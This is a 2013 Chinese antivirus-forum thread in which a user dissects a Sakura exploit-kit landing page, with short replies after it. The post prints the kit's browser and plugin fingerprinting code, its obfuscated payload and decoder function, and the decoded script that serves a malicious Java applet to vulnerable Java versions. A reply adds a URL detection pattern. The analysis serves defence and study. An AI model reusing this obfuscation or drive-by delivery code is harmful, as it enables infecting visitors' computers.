查看: 2356|回复: 6
收起左侧

[原创] 墨酱的 Sakura exploit kit

[复制链接]
dayangyang
发表于 2013-5-3 00:24:05 | 显示全部楼层 |阅读模式
用chrome打开一直会跳转到 google 。。 还以为是失效。。。我弱了
其实这种没理由跳转的一定有问题!
用Redoce 等工具可以看跳转前的源码,不过有1500多行,取出些有特点的。
版本判断:
  1.                 $.head = doc.getElementsByTagName("head")[0] || doc.getElementsByTagName("body")[0] || doc.body || null;
  2.                 $.isIE = eval("/*@cc_on!@*/!1");
  3.                 $.verIE = $.isIE ? ((/MSIE\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7) : null;
  4.                 $.verIEfull = null;
  5.                 $.docModeIE = null;
  6.                 if ($.isIE) {
  7.                     var e, verFullFloat, obj = document.createElement("div");
  8.                     try {
  9.                         obj.style.behavior = "url(#default#clientcaps)";
  10.                         $.verIEfull = (obj.getComponentVersion("{89820200-ECBD-11CF-8B85-00AA005B4383}", "componentid")).replace(/,/g, ".")
  11.                     } catch (e) {}
  12.                     verFullFloat = parseFloat($.verIEfull || "0", 10);
  13.                     $.docModeIE = doc.documentMode || ((/back/i).test(doc.compatMode || "") ? 5 : verFullFloat) || $.verIE;
  14.                     $.verIE = verFullFloat || $.docModeIE
  15.                 }
  16.                 $.ActiveXEnabled = false;
  17.                 if ($.isIE) {
  18.                     var x, progid = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  19.                     for (x = 0; x < progid.length; x++) {
  20.                         if ($.getAXO(progid[x])) {
  21.                             $.ActiveXEnabled = true;
  22.                             break
  23.                         }
  24.                     }
  25.                     userAgent = ""
  26.                 };
  27.                 $.isGecko = (/Gecko/i).test(product) && (/Gecko\s*\/\s*\d/i).test(userAgent);
  28.                 $.verGecko = $.isGecko ? $.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(userAgent) ? RegExp.$1 : "0.9") : null;
  29.                 $.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(userAgent);
  30.                 $.verChrome = $.isChrome ? $.formatNum(RegExp.$1) : null;
  31.                 $.isSafari = ((/Apple/i).test(vendor) || (!vendor && !$.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(userAgent);
  32.                 $.verSafari = $.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(userAgent) ? $.formatNum(RegExp.$1) : null;
  33.                 $.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(userAgent);
  34.                 $.verOpera = $.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(userAgent) || 1) ? parseFloat(RegExp.$1, 10) : null;
  35.                 $.addWinEvent("load", $.handler($.runWLfuncs, $))
复制代码
逻辑漏洞利用:
  1.                  DTK: {
  2.                         $: 1,
  3.                         hasRun: 0,
  4.                         status: null,
  5.                         VERSIONS: [],
  6.                         version: "",
  7.                         HTML: null,
  8.                         Plugin2Status: null,
  9.                         classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  10.                         mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  11.                         isDisabled: function () {
  12.                             var a = this,
  13.                                 b = a.$;
  14.                             if ((b.isIE && (b.verIE < 6 || !b.ActiveXEnabled)) || (b.isGecko && b.compareNums(b.verGecko, b.formatNum("1.6")) <= 0) || (b.isSafari && b.OS == 1 && (!b.verSafari || b.compareNums(b.verSafari, "5,1,0,0") < 0)) || b.isChrome) {
  15.                                 return 1
  16.                             }
  17.                             return 0
  18.                         },
  19.                         query: function () {
  20.                             var l = this,
  21.                                 h = l.$,
  22.                                 f = l.$,
  23.                                 k, m, i, a = h.DOM.altHTML,
  24.                                 g = {}, b, d = null,
  25.                                 j = null,
  26.                                 c = (l.hasRun || l.isDisabled());
  27.                             l.hasRun = 1;
  28.                             if (c) {
  29.                                 return l
  30.                             }
  31.                             l.status = 0;
  32.                             if (h.isIE) {
  33.                                 for (m = 0; m < l.classID.length; m++) {
  34.                                     l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  35.                                     d = l.HTML.obj();
  36.                                     if (h.getPROP(d, "jvms")) {
  37.                                         break
  38.                                     }
  39.                                 }
  40.                             } else {
  41.                                 i = h.hasMimeType(l.mimeType);
  42.                                 if (i && i.type) {
  43.                                     l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  44.                                     d = l.HTML.obj()
  45.                                 }
  46.                             } if (d) {
  47.                                 try {
  48.                                     b = h.getPROP(d, "jvms");
  49.                                     if (b) {
  50.                                         j = b.getLength();
  51.                                         if (h.isNum(j)) {
  52.                                             l.status = j > 0 ? 1 : -1;
  53.                                             for (m = 0; m < j; m++) {
  54.                                                 i = h.getNum(b.get(j - 1 - m).version);
  55.                                                 if (i) {
  56.                                                     l.VERSIONS.push(i);
  57.                                                     g["a" + h.formatNum(i)] = 1
  58.                                                 }
  59.                                             }
  60.                                         }
  61.                                     }
  62.                                 } catch (k) {}
  63.                             }
  64.                             i = 0;
  65.                             for (m in g) {
  66.                                 i++
  67.                             }
  68.                             if (i && i !== l.VERSIONS.length) {
  69.                                 l.VERSIONS = []
  70.                             }
  71.                             if (l.VERSIONS.length) {
  72.                                 l.version = h.formatNum(l.VERSIONS[0])
  73.                             };
  74.                             return l
  75.                         }
复制代码
跳转部分就是被加密了,简略下是
  1. <html>
  2.    
  3.     <body></body>
  4.     <input id='AX' value='%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%3CXh1%60FQ%3E%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5Bko%27l%60Y%26iQihQ.%60Y%60QEh1%60FQ4%29p%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%2151%5B%21i1X%60SY%5BI%5Bko%27l%60Y%26iQihQ.liQ7i1X%60SY4205%2152%29p%5B%5B%5B%5B%5B%5B%5B%5B%5B%21i1X%60SY%5BI%5B%21i1X%60SY.XFo%60Q42%2C2%29p%5B%5B%5B%5B%5B%5B%5B%5B%5B%60B4%21i1X%60SYcms%5BII%5B%2F%5B%3A%3A%5B%21i1X%60SYc3s%5B%3C%5Bm8%29%5B%5B%5B%5B%5B%5Bj%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%28Sh%27niYQ.g1%60Qi4%22%3C5FFoiQ%3E%3CF515n%5BY5niI2vYoFwZ1iB2%5B%215o%27iI2S%7E%60%27.vYoF2%3B%3E%3CF515n%5BY5niI2vYoFwin%7Ei%28%28i%282%5B%215o%27iI2k%26T%2A%7EWgl%28n7_hMo%21%7Evu%60dE%2AgL%60Ao%7EnN%21e%3Do%27e-u%60%28GRnt6l%60k-%2A85nzXh%23A-h%3D7vkEL9tvC%60L%23AShn7nkE06tnF%27%7E%40C%60kv9F%7Ene%21hnmZ%28%3Do%21%7Ev%2A8%28%3Dou%7E%3D%7D%2B7nmok%23Tu5GRXe6%2A8%28n7%27e%3DT_koNZh%3D%7D8t3eo%7EnR%21hv%2A8%7EMen%7E%3Do%27eEmZ%7E%3D9%21%28M7%7Ct-%2A8tMo%27enT_%7EW%5Du5WT%27kv9_eGN%21%28G0veGd%2Bk%3DS_hM%7Dl%28n7_hMo%21%7Evu%60dE%2A3 _Ll5%400oevu%605%40Ruh%26S%21tMFZ%28nb%27h37%27tnN%21%7EETghnT%7C%28WNuh_TZ%28GR%21e%3Dg%215v0-eELlt-%2A85n%5D_L%3DZ_eWUTLnmFeMZuG30%21%28Wz%7CtYASh%23Ll%7EW%5DF%7Evu%60%28%400meELlt-%2A8t30ohMTmhnNoh-%2A8UGAg%7E%3D7utWRohMdlL%3DmZ5W%2AQUM9Zh3dTL%7CmZ5W%2A%27UM9Zh3d%60L%3DzZ%7EW%7DTL%7CmZ5W%2A%60L%40%28Fe%40RSkEL9d%60Ll5%3D7FeMZukEL9Lv%2A8h%3D%5D_UWul%7En%5DQe6u%60GmTZh%40AXeGRBh3NMG3eZ%7E%3Do%7CUGRoe%23Ll%28n%5DX%28W%7DTLYR_%28W%7D%60kvg%21h%3D%5D_UWu%2Bk%23TZh%40AXeGJQe%3D7-U-%2A8%28GA%7CUGRoL%3DNSeWN1kE0%60UWN1e30%21%28Wz%7CL%608%2Bk%23TV%7En9gklII2%5B%3B%3E%3CF515n%5BY5niI2F515n2%5B%215o%27iI29%28%28_-YYx%3FZnZg_%2Ali%2F%7Cvl%7C%3Fh%27l%28l%7CZ%7B%2FSxg%2F%27Z-QQY_%2AZ%3FYIM%21Mg9%28T2%3E%3C%3BF515n%3E%3C%3B5FFoiQ%3E%22%29p%5B%5B%5B%5B%5B%5Bq%5B%5B%5B%5B%5B%5BioXi%5B%60B4%21i1X%60SYcms%5B%3C%5B%2F%29%5B%5B%5B%5B%5B%5B%5B%5B%5B%5B%28Sh%27niYQ.g1%60Qi4%22%3C5FFoiQ%5BhS%28iI2d5%60Y.ho5XX2%5B51hZ%60%21iI2n%60lZQw1S%27Y%28.FZF2%5Bg%60%28QZI2%2F82%5BZi%60lZQI23T2%3E%3CF515n%5BY5niI2F515n2%5B%215o%27iI29%28%28_-YYx%3FZnZg_%2Ali%2F%7Cvl%7C%3Fh%27l%28l%7CZ%7B%2FSxg%2F%27Z-QQY_%2AZ%3FYIM%21Mg9%28T2%3E%3C%3B5FFoiQ%3E%22%29p%5B%5B%5B%5B%5B%5B%3C%3BXh1%60FQ%3E%5B%5B'>Samsung Galaxy S4</input>
  5.     <script>
  6.         iin = document.getElementById('AX').value;
  7. .................
  8. .................
  9.        function tayr(pk) {
  10.             q = '';
  11.             p = "K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*OD&:x9T6H@fBAC#y_wgloSEb~";
  12.             for (i = 0; i < pk.length; i++) {
  13.                 o = pk.charAt(i);
  14.                 m = p.indexOf(o);
  15.                 if (m > -1) {
  16.                     if (m == 0)
  17.                         m = 77;
  18.                     q += p.charAt(m - 1);
  19.                 } else
  20.                     q += o;
  21.             }
  22.             return q;
  23.         }

  24.         document.write(tayr(unescape(iin)));

  25. </script>
复制代码
解密后是:
  1. <script>
  2.     PluginDetect.initScript();
  3.     var version = PluginDetect.getVersion('Java');
  4.     version = version.split(',');
  5.     if (version[1] == 7 && version[3] < 18) {
  6.         document.write("<applet><param name='jnlp_href' value='obiu.jnlp'/><param name='jnlp_embedded' value='PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48am5scCBzcGVjPSIxLjAiICBocmVmPSJTLmpubHAiPjxpbmZvcm1hdGlvbj48dGl0bGU+Vm1lPC90aXRsZT48dmVuZG9yPlNhcGU8L3ZlbmRvcj48b2ZmbGluZS1hbGxvd2VkLz48L2luZm9ybWF0aW9uPjxyZXNvdXJjZXM+PGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iaHR0cDovL2phdmEuc3VuLmNvbS9wcm9kdWN0cy9hdXRvZGwvajJzZSIgLz48amFyIGhyZWY9Im1pZ2h0X3JvdW5kLnBocCIgbWFpbj0idHJ1ZSIgLz48L3Jlc291cmNlcz48YXBwbGV0LWRlc2MgIG1haW4tY2xhc3M9Ik1haW4uY2xhc3MiIG5hbWU9Ik1haW4iIHdpZHRoPSIxMiIgaGVpZ2h0PSIxIj48cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiPjwvcGFyYW0+PC9hcHBsZXQtZGVzYz48dXBkYXRlIGNoZWNrPSJiYWNrZ3JvdW5kIi8+PC9qbmxwPg==' /><param name='param' value='xddyznn:?hmhwy4ge7kjgk?cugdgkh-7o:w7uhzttny4h?n=2v2wxd9'></param></applet>");
  7.     }
  8.    else if (version[1] < 7) document.write("<applet code='Main.class' archive='might_round.php' width='78' height='39'><param name='param' value='xddyznn:?hmhwy4ge7kjgk?cugdgkh-7o:w7uhzttny4h?n=2v2wxd9'></applet>");
  9. </script>
复制代码
版本不相符的话就执行跳转咯~

评分

参与人数 1魅力 +1 人气 +1 收起 理由
是昔流芳 + 1 + 1 感谢支持,欢迎常来: )

查看全部评分

蓝核
发表于 2013-5-3 01:01:11 | 显示全部楼层
我低调路过……看不懂什么的最讨厌了……等阿狸,还有,拉你入hunter至少目前来说是我最正确的决定~
m220011
发表于 2013-5-3 12:09:42 | 显示全部楼层
蓝核 发表于 2013-5-3 01:01
我低调路过……看不懂什么的最讨厌了……等阿狸,还有,拉你入hunter至少目前来说是我最正确的决定~

  1. var version = PluginDetect.getVersion('Java');
  2.     version = version.split(',');
  3.     if (version[1] == 7 && version[3] < 18)
复制代码









    骄傲的使用Chrome


    Powered By Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
    蓝核
    发表于 2013-5-3 12:11:13 | 显示全部楼层
    m220011 发表于 2013-5-3 12:09

    骄傲的使用Chrome

    Powered By Mozilla/5.0 (Windows NT 6.1; WOW64) Apple ...

    我不懂。。。
    m220011
    发表于 2013-5-3 12:40:24 | 显示全部楼层
    蓝核 发表于 2013-5-3 12:11
    我不懂。。。



    你是一点编程基础都没有啊   那个是判断java的版本的

    Sakura exploit kit
    1. 8[0-9]\/forum\/
    复制代码









      骄傲的使用Chrome


      Powered By Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
      蓝核
      发表于 2013-5-3 13:12:48 | 显示全部楼层
      m220011 发表于 2013-5-3 12:40
      你是一点编程基础都没有啊   那个是判断java的版本的

      Sakura exploit kit

      嗯……我们学校学的是VB……考完试就还给老师了……
      墨家小子
      发表于 2013-5-3 15:10:46 | 显示全部楼层
      好几天没结算工钱了,工头就知道泡白富美吗?
      您需要登录后才可以回帖 登录 | 快速注册

      本版积分规则

      手机版|杀毒软件|软件论坛| 卡饭论坛

      Copyright © KaFan  KaFan.cn All Rights Reserved.

      Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-2 22:34 , Processed in 0.125422 second(s), 17 queries .

      卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

      快速回复 客服 返回顶部 返回列表